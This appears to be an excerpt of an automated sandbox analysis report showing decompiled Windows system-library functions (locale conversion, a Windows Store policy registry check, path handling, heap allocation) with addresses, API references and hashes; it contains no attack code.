0x6a9ce0c1
0x6a9ce0c3
0x6a9ce0b6
0x6a9ce0b6
0x00000000
0x6a9ce0b6
0x6a9ce0c5
0x6a9ce0c9
0x6a9ce0cc
0x00000000
0x00000000
0x6a9ce0ce
0x6a9ce0d1
0x6a9ce0d8
0x6a9ce0da
0x00000000
0x00000000
0x6a9ce0df
0x6a9ce0e2
0x6a9cdf49
0x00000000
0x6a9cdf49
0x6a9cdfb6
0x6a9cdfba
0x6a9cdfbd
0x6a9cdfc0
0x6a9ce007
0x6a9ce00b
0x00000000
0x00000000
0x6a9ce013
0x6a9ce019
0x6a9ce01b
0x6a9ce01d
0x00000000
0x00000000
0x6a9ce02c
0x6a9ce02f
0x6a9ce036
0x6a9ce03b
0x6a9ce03b
0x6a9ce03d
0x6a9ce0a2
0x6a9ce0a4
0x6a9ce0b1
0x6a9ce0b1
0x00000000
0x6a9ce0a4
0x6a9ce042
0x6a9ce045
0x6a9ce047
0x6a9ce06c
0x6a9ce06c
0x6a9ce06e
0x6a9ce06e
0x6a9ce070
0x6a9ce085
0x6a9ce085
0x6a9ce088
0x6a9ce088
0x6a9ce08a
0x6a9ce098
0x6a9ce098
0x00000000
0x6a9ce09d
0x6a9ce076
0x6a9ce07b
0x6a9ce081
0x6a9ce083
0x00000000
0x00000000
0x00000000
0x6a9ce083
0x6a9ce049
0x6a9ce04d
0x6a9ce050
0x00000000
0x00000000
0x6a9ce052
0x6a9ce059
0x6a9ce05b
0x00000000
0x00000000
0x6a9ce067
0x00000000
0x6a9ce067
0x6a9cdfc2
0x6a9cdfc6
0x6a9cdfcf
0x6a9cdfd2
0x6a9cdfd4
0x6a9cdff0
0x6a9cdff0
0x6a9cdff2
0x6a9cdff2
0x6a9cdff4
0x6a9cdff7
0x6a9cdffb
0x6a9ce000
0x6a9ce000
0x6a9ce002
0x00000000
0x6a9ce002
0x6a9cdfd6
0x6a9cdfd9
0x6a9cdfdd
0x6a9cdfdf
0x00000000
0x00000000
0x6a9cdfe8
0x6a9cdfeb
0x00000000
0x6a9cdfeb
0x00000000
0x6a9cdfc8
0x6a9cdf38
0x6a9cdf3f
0x6a9cdf51
0x6a9cdf55
0x6a9cdf58
0x00000000
0x00000000
0x6a9cdf5e
0x6a9cdf61
0x6a9cdf63
0x6a9cdf65
0x6a9cdf6c
0x6a9cdf6e
0x6a9cdf7a
0x6a9cdf7a
0x6a9cdf6e
0x6a9cdf7d
0x6a9cdf7f
0x00000000
0x6a9cdf85
0x6a9cdf8a
0x6a9cdf97
0x6a9cdf9c
0x6a9cdf9e
0x00000000
0x00000000
0x6a9cdfa4
0x6a9cdfa8
0x00000000
0x6a9cdfa8
0x6a9cdf41
0x6a9cdf43
0x6a9cdf47
0x00000000
0x6a9cdf47

APIs

RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6A9271B4,6A9271B4,?), ref: 6A9CDF8A
RtlCultureNameToLCID.1105(C000000D,00000000,C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6A9271B4), ref: 6A9CDF97
RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6A9271B4,6A9271B4,?), ref: 6A9CDFFB
RtlLCIDToCultureName.1105(?,C000000D,C000000D,00000000,00000200,?), ref: 6A9CE036
_wcsicmp.1105(00000001,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6A9CE076
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6A9CE098
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6A9CE0B1

Strings

MUI, xrefs: 6A9CE072

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureFreeHeapInitNameStringUnicode$_wcsicmp
String ID: MUI
API String ID: 3044635390-1339004836
Opcode ID: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction ID: 48297d7d130c15347c6a4f3891028d44bf4b4e24708ecbbc84bcd6da814a9959
Opcode Fuzzy Hash: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction Fuzzy Hash: E151043450491AABDB24DF588481ABEB7B9BF42704B618159EC678B241FF31C982C7E3

Uniqueness

Uniqueness Score: -1.00%

Function 6A94FF9C, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 100
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A94FF9C() {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _v28;
				void* _v36;
				void* _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				signed int _t35;
				signed int _t52;
				char _t57;
				void* _t68;

				_t35 =  *0x6aa05c88; // 0x2
				_t68 = 2;
				if(_t35 == _t68) {
					_v12 = 0;
					RtlInitUnicodeString( &_v28, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsStore");
					_v12 = 0;
					_v60 =  &_v28;
					_push( &_v68);
					_push(0x20019);
					_v68 = 0x18;
					_push( &_v12);
					_v64 = 0;
					_v56 = 0x40;
					_v52 = 0;
					_v48 = 0;
					if( *0x6a8f6cd8() >= 0) {
						_v8 = 0;
						_v16 = 4;
						RtlInitUnicodeString( &_v36, L"AutoDownload");
						if(E6A9EF1B5(_v12,  &_v36,  &_v20,  &_v8,  &_v16) < 0 || _v20 != 4 || _v8 != _t68) {
							_v8 = 0;
							_t57 = 4;
							_v16 = _t57;
							RtlInitUnicodeString( &_v44, L"DisableStoreApps");
							if(E6A9EF1B5(_v12,  &_v44,  &_v20,  &_v8,  &_v16) < 0 || _v20 != _t57) {
								goto L3;
							} else {
								if(_v8 == 1) {
									goto L9;
								}
							}
						} else {
							L9:
							asm("lock cmpxchg [edx], ecx");
						}
					} else {
						L3:
					}
					asm("lock cmpxchg [edx], esi");
				}
				_t52 =  *0x6aa05c88; // 0x2
				return _t52 & 0xffffff00 | _t52 == 0x00000000;
			}

0x6a94ffa1
0x6a94ffae
0x6a94ffb1
0x6a94ffcf
0x6a94ffd2
0x6a94ffdb
0x6a94ffde
0x6a94ffe4
0x6a94ffe5
0x6a94ffed
0x6a94fff4
0x6a94fff5
0x6a94fff8
0x6a94ffff
0x6a950002
0x6a950010
0x6a98c15d
0x6a98c161
0x6a98c168
0x6a98c187
0x6a98c1a8
0x6a98c1ae
0x6a98c1b5
0x6a98c1b8
0x6a98c1d7
0x00000000
0x6a98c1e6
0x6a98c1ee
0x00000000
0x6a98c1f4
0x6a98c1ee
0x6a98c194
0x6a98c199
0x6a98c19d
0x6a98c19d
0x6a950016
0x6a950016
0x6a950016
0x6a95001d
0x6a95001d
0x6a94ffb3
0x6a94ffc3

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore,?,?,?), ref: 6A94FFD2
ZwOpenKey.1105(?,00020019,?), ref: 6A950005

Strings

AutoDownload, xrefs: 6A98C155
DisableStoreApps, xrefs: 6A98C1AF
@, xrefs: 6A94FFF8
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore, xrefs: 6A94FFC4

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode
String ID: @$AutoDownload$DisableStoreApps$\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore
API String ID: 3946626324-1446860424
Opcode ID: 19037a6c84500f403d31def2e6cef5b578a7236d8ac1ecaa04d1615a4c83be70
Instruction ID: 8606202a5d65eb0936190ac80030774aa5e71f14ff7c51dc0b0b175994a6ca6c
Opcode Fuzzy Hash: 19037a6c84500f403d31def2e6cef5b578a7236d8ac1ecaa04d1615a4c83be70
Instruction Fuzzy Hash: 5E3119B190021EEFDB11CF98DC84EDEBBB8FF49358F60856AE515E6200DB349A45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A934120, Relevance: 13.9, APIs: 9, Instructions: 444
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6A934120(signed char __ecx, intOrPtr* __edx, signed short* _a4, signed short* _a8, intOrPtr _a12, long* _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v16;
				signed int _v24;
				char _v532;
				char _v540;
				intOrPtr _v544;
				signed int _v548;
				void* _v552;
				long _v556;
				intOrPtr _v560;
				void* _v564;
				signed char _v568;
				void* _v570;
				long* _v572;
				long _v576;
				signed short* _v580;
				char _v581;
				signed short _v584;
				signed int _v588;
				unsigned int _v596;
				void* _v597;
				void* _v604;
				void* _v605;
				void* _v608;
				void* _v612;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t161;
				signed int _t162;
				char _t163;
				void* _t169;
				void* _t173;
				signed short _t177;
				void* _t181;
				unsigned int _t182;
				struct _EXCEPTION_RECORD _t184;
				signed int _t185;
				signed int _t213;
				void* _t221;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				void* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				long* _t260;
				long _t265;
				signed short* _t269;
				signed short _t271;
				signed char _t272;
				signed short* _t275;
				short* _t282;
				signed short _t283;
				void* _t287;
				signed short _t290;
				short* _t300;
				signed short _t308;
				int _t309;
				int _t311;
				signed short _t312;
				intOrPtr* _t316;
				long _t317;
				void* _t318;
				void* _t320;
				signed short* _t322;
				void* _t323;
				void* _t324;
				void* _t325;
				signed int _t326;
				void* _t327;
				signed int _t328;
				signed int _t330;

				_t330 = (_t328 & 0xfffffff8) - 0x24c;
				_v8 =  *0x6aa0d360 ^ _t330;
				_t157 = _a8;
				_t322 = _a4;
				_t316 = __edx;
				_v548 = __ecx;
				_t306 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *((short*)(__edx)) <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t316;
						_v552 =  *((intOrPtr*)(_t316 + 4));
						_t161 = E6A94F232( &_v556);
						_t317 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t307 = 0x208;
						_t317 = E6A936E30(_t316, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t317 == 0) {
							L68:
							_t323 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t317 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t317);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_v596 = _t317;
											_t307 = _t317;
											_t317 = E6A936E30(_v572, _t317, _t254, _v580, _t330 + 0x1b,  &_v548);
											if(_t317 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t317;
									 *((short*)(_t330 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t317 < 2) {
										L11:
										if(_t317 < 4 ||  *_t254 == 0 ||  *(_t254 + 2) != 0x3a) {
											_t161 = 5;
										} else {
											if(_t317 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 =  *(_t254 + 4) & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t317 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 =  *(_t254 + 2) & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t317 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 =  *(_t254 + 4) & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t317 < 8) {
																L85:
																_t161 = ((0 | _t317 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 =  *(_t254 + 6) & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M6A9345F8))) {
												case 0:
													_v568 = 0x6a8f1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x6a8f11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t307 =  *_v568 & 0x0000ffff;
									_t265 = _t307 - _v564 + 2 + (_t317 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t323 = 0xc0000106;
									} else {
										if(_t322 != 0) {
											if(_t265 > (_t322[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t323 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t307;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t322) {
												_t323 = 0xc000000d;
											} else {
												L23:
												_t173 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t265);
												_t269 = _v588;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t323 = 0xc0000017;
												} else {
													_t317 = _v564;
													 *_t269 = 0;
													_t322 = _t269;
													_t269[1] = _v584;
													_t177 =  *_v576 & 0x0000ffff;
													L25:
													_v588 = _t177;
													if(_t177 == 0) {
														L29:
														_t308 =  *_t322 & 0x0000ffff;
													} else {
														_t290 =  *_t322 & 0x0000ffff;
														_v584 = _t290;
														_t311 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + _t311 > (_t322[1] & 0x0000ffff)) {
															_t308 =  *_t322 & 0xffff;
														} else {
															_t221 = _t322[2] + ((_v584 & 0x0000ffff) >> 1) * 2;
															_v584 = _t221;
															memmove(_t221,  *(_v576 + 4), _t311);
															_t330 = _t330 + 0xc;
															_t312 = _v588;
															_t225 =  *_t322 + _t312 & 0x0000ffff;
															 *_t322 = _t225;
															if(_t225 + 1 < (_t322[1] & 0x0000ffff)) {
																 *((short*)(_v584 + ((_t312 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v564 - _v596 + _v596;
													_v588 = _t308;
													_v584 = _t271;
													if(_t271 != 0) {
														_t309 = _t271 & 0x0000ffff;
														_v596 = _t309;
														if(_t309 + (_t308 & 0x0000ffff) <= (_t322[1] & 0x0000ffff)) {
															_t287 = _t322[2] + ((_v588 & 0x0000ffff) >> 1) * 2;
															_v588 = _t287;
															memmove(_t287, _v560 + _v572, _t309);
															_t330 = _t330 + 0xc;
															_t213 =  *_t322 + _v584 & 0x0000ffff;
															 *_t322 = _t213;
															if(_t213 + 1 < (_t322[1] & 0x0000ffff)) {
																 *((short*)(_v588 + (_v596 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v568;
													if(_t272 != 0) {
														 *_t272 = _t322;
													}
													_t307 = 0;
													 *((short*)(_t322[2] + (( *_t322 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v580;
													if(_t275 != 0) {
														_t307 =  *_t275;
														if(_t307 != 0) {
															 *_t275 = ( *_v576 & 0x0000ffff) - _v572 - _t254 + _t307 + _t322[2];
														}
													}
													_t181 = _v552;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v548 == 5) {
															_t182 = E6A9152A5(1);
															_v596 = _t182;
															if(_t182 == 0) {
																E6A92EB70(1, 0x6aa079a0);
																goto L38;
															} else {
																_t184 = _t182 + 0xc;
																_v568 = _t184;
																_t185 = RtlPrefixUnicodeString(_t184,  &_v564, 1);
																if(_t185 == 0) {
																	_t325 = _v608;
																	goto L97;
																} else {
																	_t307 = _v564;
																	_t282 = ( *_v580 & 0x0000ffff) - _v584 + ( *_v588 & 0x0000ffff) + _t322[2];
																	 *((intOrPtr*)(_t307 + 4)) = _t282;
																	_v596 = _t282;
																	_t326 = _t317 -  *_v580 & 0x0000ffff;
																	 *_t307 = _t326;
																	if( *_t282 == 0x5c) {
																		_t149 = _t326 - 2; // -2
																		_t283 = _t149;
																		 *_t307 = _t283;
																		 *((intOrPtr*)(_t307 + 4)) = _v596 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t325 = _v608;
																	 *(_t307 + 2) = _t185;
																	if((_v568 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t325 + 4)));
																			E6A9595D0();
																			RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t325);
																		}
																	} else {
																		 *(_t307 + 0xc) = _t325;
																		 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t325 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t323 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t254);
									}
									_t169 = _t323;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t318);
					_pop(_t324);
					_pop(_t255);
					return E6A95B640(_t169, _t255, _v16 ^ _t330, _t307, _t318, _t324);
				} else {
					_t300 =  *((intOrPtr*)(__edx + 4));
					if( *_t300 == 0x5c) {
						_t256 =  *(_t300 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t300 + 4)) != 0x3f ||  *((short*)(_t300 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E6A953D43(_t316, _t322, _t157, _v560, _v572, _t306);
								_pop(_t320);
								_pop(_t327);
								_pop(_t257);
								return E6A95B640(_t251, _t257, _v24 ^ _t330, _t322, _t320, _t327);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x6a934128
0x6a934135
0x6a93413c
0x6a934141
0x6a934145
0x6a934147
0x6a93414e
0x6a934151
0x6a934159
0x6a93415c
0x6a934160
0x6a934164
0x6a934168
0x6a93416c
0x6a93417f
0x6a934181
0x6a93446a
0x6a93446a
0x6a93418c
0x6a934195
0x6a934199
0x6a934432
0x6a934439
0x6a93443d
0x6a934442
0x6a934447
0x00000000
0x6a93419f
0x6a9341a3
0x6a9341b9
0x6a9341bd
0x6a9345db
0x6a9345db
0x00000000
0x6a9341c3
0x6a9341c3
0x6a9341ce
0x6a9341d4
0x6a97e138
0x6a97e13e
0x6a97e169
0x6a97e16d
0x6a97e19e
0x6a97e16f
0x6a97e175
0x6a97e179
0x6a97e18f
0x6a97e193
0x00000000
0x6a97e199
0x00000000
0x6a97e199
0x6a97e193
0x00000000
0x00000000
0x00000000
0x6a9341da
0x6a9341da
0x6a9341df
0x6a9341e4
0x6a9341ec
0x6a934203
0x6a934207
0x6a97e1fd
0x6a934222
0x6a934226
0x6a97e1f3
0x6a97e1f3
0x6a93422c
0x6a93422c
0x6a934233
0x6a97e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a934239
0x6a934239
0x6a934239
0x6a934239
0x6a934233
0x6a934226
0x6a9341ee
0x6a9341ee
0x6a9341f4
0x6a934575
0x6a97e1b1
0x6a97e1b1
0x00000000
0x6a93457b
0x6a93457b
0x6a934582
0x6a97e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x6a934588
0x6a934588
0x6a93458c
0x6a97e1c4
0x6a97e1c4
0x00000000
0x6a934592
0x6a934592
0x6a934599
0x6a97e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93459f
0x6a93459f
0x6a9345a3
0x6a97e1d7
0x6a97e1e4
0x00000000
0x6a9345a9
0x6a9345a9
0x6a9345b0
0x6a97e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9345b6
0x6a9345b6
0x6a9345b6
0x00000000
0x6a9345b6
0x6a9345b0
0x6a9345a3
0x6a934599
0x6a93458c
0x6a934582
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9341f4
0x6a93423e
0x6a934241
0x6a9345c0
0x6a9345c4
0x00000000
0x6a9345ca
0x6a9345ca
0x00000000
0x6a97e207
0x6a97e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9345d1
0x00000000
0x00000000
0x6a9345ca
0x00000000
0x6a934247
0x6a934247
0x6a934247
0x6a934249
0x6a934249
0x6a934249
0x6a934251
0x6a934251
0x6a934257
0x6a93425f
0x6a93426e
0x6a934270
0x6a93427a
0x6a97e219
0x6a97e219
0x6a934280
0x6a934282
0x6a934456
0x6a9345ea
0x00000000
0x6a9345f0
0x6a97e223
0x00000000
0x6a97e223
0x6a93445c
0x6a93445c
0x00000000
0x6a93445c
0x00000000
0x6a934288
0x6a93428c
0x6a97e298
0x6a934292
0x6a934292
0x6a93429e
0x6a9342a3
0x6a9342a7
0x6a9342ac
0x6a97e22d
0x6a9342b2
0x6a9342b2
0x6a9342b9
0x6a9342bc
0x6a9342c2
0x6a9342ca
0x6a9342cd
0x6a9342cd
0x6a9342d4
0x6a93433f
0x6a93433f
0x6a9342d6
0x6a9342d6
0x6a9342d9
0x6a9342dd
0x6a9342eb
0x6a97e23a
0x6a9342f1
0x6a9342fe
0x6a934305
0x6a93430d
0x6a934315
0x6a934318
0x6a93431f
0x6a934322
0x6a93432e
0x6a93433b
0x6a93433b
0x00000000
0x6a93432e
0x6a9342eb
0x6a93434c
0x6a93434e
0x6a934352
0x6a934359
0x6a93435e
0x6a934361
0x6a93436e
0x6a93437d
0x6a93438a
0x6a93438e
0x6a934396
0x6a93439e
0x6a9343a1
0x6a9343ad
0x6a9343bb
0x6a9343bb
0x6a9343ad
0x6a93436e
0x6a9343bf
0x6a9343c5
0x6a934463
0x6a934463
0x6a9343ce
0x6a9343d5
0x6a9343d9
0x6a9343df
0x6a934475
0x6a934479
0x6a934491
0x6a934491
0x6a934479
0x6a9343e5
0x6a9343eb
0x6a9343f4
0x6a9343f6
0x6a9343f9
0x6a9343fc
0x6a9343ff
0x6a9344e8
0x6a9344ed
0x6a9344f3
0x6a97e247
0x00000000
0x6a9344f9
0x6a9344ff
0x6a934504
0x6a934508
0x6a93450f
0x6a97e269
0x00000000
0x6a934515
0x6a934519
0x6a934531
0x6a934534
0x6a934537
0x6a93453e
0x6a934541
0x6a93454a
0x6a97e255
0x6a97e255
0x6a97e25b
0x6a97e25e
0x6a97e261
0x6a97e261
0x6a934555
0x6a934559
0x6a93455d
0x6a97e26d
0x6a97e270
0x6a97e274
0x6a97e27a
0x6a97e27d
0x6a97e28e
0x6a97e28e
0x6a934563
0x6a934563
0x6a934569
0x6a934569
0x00000000
0x6a93455d
0x6a93450f
0x00000000
0x6a9344f3
0x6a9343ff
0x6a934405
0x6a934405
0x6a934405
0x6a9342ac
0x6a93428c
0x6a934282
0x6a934407
0x6a93440d
0x6a97e2af
0x6a97e2af
0x6a934413
0x6a934413
0x00000000
0x6a9341d4
0x00000000
0x6a9341c3
0x6a9341bd
0x6a934415
0x6a934415
0x6a934416
0x6a934417
0x6a934429
0x6a93416e
0x6a93416e
0x6a934175
0x6a934498
0x6a93449f
0x6a97e12d
0x00000000
0x6a97e133
0x00000000
0x6a97e133
0x6a9344a5
0x6a9344a5
0x6a9344aa
0x00000000
0x6a9344bb
0x6a9344ca
0x6a9344d6
0x6a9344d7
0x6a9344d8
0x6a9344e3
0x6a9344e3
0x6a9344aa
0x6a93417b
0x6a93417b
0x6a93417b
0x00000000
0x6a93417b
0x6a934175
0x00000000

APIs

RtlAllocateHeap.1105(?,00000000,?,?,00000000,?,?), ref: 6A93429E
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6A93430D
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6A93438E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memmove$AllocateHeap
String ID:
API String ID: 1771830547-0
Opcode ID: bdbdfc68be0a592a3bcd0011042387cbacd2698622b9fa7ae6ff7c9150510a33
Instruction ID: 26f065c0d0158e24b1d9e66140dcee4dc0c167fe52acc689a14f02ff37d1ac99
Opcode Fuzzy Hash: bdbdfc68be0a592a3bcd0011042387cbacd2698622b9fa7ae6ff7c9150510a33
Instruction Fuzzy Hash: 0EF1CD746082219FC764CF18C484A6AB7F5FFC9715F22892EF896CB250EB35D891CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6A944BAD, Relevance: 13.6, APIs: 9, Instructions: 131
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A944BAD(long __ecx, void* __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				char _v36;
				void _v156;
				short _v158;
				intOrPtr _v160;
				long _v164;
				long _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				void* _t84;
				void* _t85;
				long _t86;
				int _t87;
				long _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x6aa0d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E6A91CC50(_t86);
					L11:
					return E6A95B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0 || _t45 !=  *((intOrPtr*)(_t77 + 0x34))) {
					goto L22;
				} else {
					_t9 = _t77 + 0x24; // 0x6aa08504
					E6A932280(_t9, _t9);
					_t87 = 0x78;
					 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
					memset( &_v156, 0, _t87);
					_t85 =  &_v156;
					_v36 =  *((intOrPtr*)(_t77 + 0x30));
					_v28 = _v168;
					_v32 = 0;
					_v24 = 0;
					_v20 = _v158;
					_v160 = 0;
					while(1) {
						_push( &_v164);
						_push(_t87);
						_push(_t85);
						_push(0x18);
						_push( &_v36);
						_push(0x1e);
						_t88 = E6A95B0B0();
						if(_t88 != 0xc0000023) {
							break;
						}
						if(_t85 !=  &_v156) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						}
						_t84 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v164);
						_v168 = _v164;
						if(_t84 == 0) {
							_t88 = 0xc0000017;
							goto L19;
						} else {
							_t74 = _v160 + 1;
							_v160 = _t74;
							if(_t74 >= 0x10) {
								L19:
								_t86 = RtlNtStatusToDosError(_t88);
								if(_t86 != 0) {
									L8:
									 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
									_t30 = _t77 + 0x24; // 0x6aa08504
									E6A92FFB0(_t77, _t84, _t30);
									if(_t84 != 0 && _t84 !=  &_v156) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t84);
									}
									if(_t86 != 0) {
										goto L12;
									} else {
										goto L11;
									}
								}
								L6:
								 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
								if(_v164 != 0) {
									_t83 = _t84;
									E6A944F49(_t77, _t84);
								}
								goto L8;
							}
							_t87 = _v168;
							continue;
						}
					}
					if(_t88 != 0) {
						goto L19;
					}
					goto L6;
				}
			}

0x6a944bad
0x6a944bbf
0x6a944bc2
0x6a944bc6
0x6a944bcd
0x6a944bd9
0x6a9867fe
